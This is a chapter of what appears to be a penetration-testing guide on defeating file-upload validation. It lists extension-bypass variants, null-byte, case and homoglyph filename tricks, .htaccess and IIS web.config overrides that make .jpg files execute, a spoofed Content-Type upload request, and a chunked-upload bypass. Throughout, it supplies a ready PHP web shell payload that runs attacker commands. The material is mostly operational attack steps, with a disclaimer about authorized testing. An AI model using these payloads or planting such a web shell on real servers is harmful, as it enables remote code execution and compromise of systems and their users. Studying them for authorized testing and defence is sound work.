Chapter 1
Defeating the validation gate
Bypassing extension filters, content-type checks, and path normalization.
The validation gate is the first bouncer your upload meets before hitting disk. Because teams often hand-roll custom regular expressions or short blocklists here, small edge cases slip right past it.
The extension ladder
Section titled “The extension ladder”If the server blocks .php, do not stop there. Web servers routinely map several lesser-known suffixes to the exact same script interpreter.
.php blocked? Try: .php5, .php7, .phtml, .phar, .pht, .phps, .pgif, .shtmlDouble extensions: shell.jpg.php, shell.php.jpg, shell.PHP, shell.pHpOn Microsoft IIS environments, test .asp, .aspx, .cer, .asa, and .ashx.
On Java environments, test .jsp, .jspx, .jsw, .jsv, and .war.
On Node or Python servers, check whether .js, .mjs, .py, or .cgi execute.
Allowlist confusion
Section titled “Allowlist confusion”When a server implements an allowlist, confuse the path parser. Older runtimes and file systems process special characters unevenly.
- Null byte injection:
shell.php%00.jpgterminates path strings in legacy C runtimes. - Parser confusion:
shell.jpgcontaining PHP code can execute under specific server configurations. - Partial matches:
shell.phtmlbypasses filters that only match image names using loose string checks. - Script images:
shell.svgis an image format that also runs client scripts. - Web documents:
shell.htmluploads cause stored cross-site scripting when served inline.
The Apache configuration override
Section titled “The Apache configuration override”The .htaccess upload technique enables code execution without uploading a .php file.
If the upload folder permits configuration files, upload a file named .htaccess.
AddType application/x-httpd-php .jpgThis directive instructs Apache to treat .jpg files as executable PHP scripts.
Next, upload a normal image named avatar.jpg containing web shell code.
<?php system($_GET['c']); ?>When you request avatar.jpg, Apache executes the PHP code.
This technique requires only two files, zero .php extensions, and standard directory permissions.
On Microsoft IIS servers, upload a web.config file to achieve the same result.
<configuration> <system.webServer> <handlers> <add name="PHP-FastCGI" path="*.jpg" verb="*" modules="FastCgiModule" scriptProcessor="C:\php\php-cgi.exe" resourceType="Either" /> </handlers> </system.webServer></configuration>Content-Type manipulation
Section titled “Content-Type manipulation”Many servers only inspect the Content-Type header sent by the client.
Because the browser controls this header, an attacker can modify it in a proxy.
POST /upload HTTP/1.1Host: target.comContent-Disposition: form-data; name="file"; filename="shell.php"Content-Type: image/jpeg
<?php system($_GET['c']); ?>If the server relies exclusively on this header, the upload succeeds. When the server also inspects magic bytes, polyglot files are required.
The systematic validation checklist
Section titled “The systematic validation checklist”Run these tests against every upload endpoint.
- Double extension: Send
shell.php.jpgandshell.jpg.php. - Trailing dot or space: Send
shell.php.orshell.phpto exploit Windows file name normalization. - Semicolon character: Send
shell.asp;.jpgto exploit IIS path parsing. - Case variation: Send
shell.PhPorshell.PHTMLagainst case-insensitive file systems. - Unicode homoglyphs: Send
shell.phрwith a Cyrillic character to bypass naive string filters. - Parameter pollution: Send
file[]=a.php&file[]=b.jpgwhen frameworks process array parameters.
Chunked and resumable uploads
Section titled “Chunked and resumable uploads”Large file endpoints often split one upload into many small requests.
Protocols such as tus and custom multipart chunking send the file in pieces.
The server reassembles the pieces and then stores the final object.
A frequent flaw is that validation runs on the first chunk only.
The first chunk carries a clean image header and passes the type check.
A later chunk carries the script payload that the check never inspected.
Test the reassembly boundary in these steps.
- Start a resumable upload with a clean first chunk that looks like an image.
- Send a later chunk that appends
<?php system($_GET['c']); ?>to the body. - Finish the upload and request the stored path.
- Confirm whether the server validated the whole object or only the opening chunk.
Also test the chunk offset and the upload identifier. Some servers trust a client offset and let one upload corrupt another already in flight. Change the offset or upload identifier to one you do not own and check for cross-upload corruption.
Next, when the server checks file bytes instead of names, move to Chapter 2 on polyglots.
File UploadFor authorized testing only.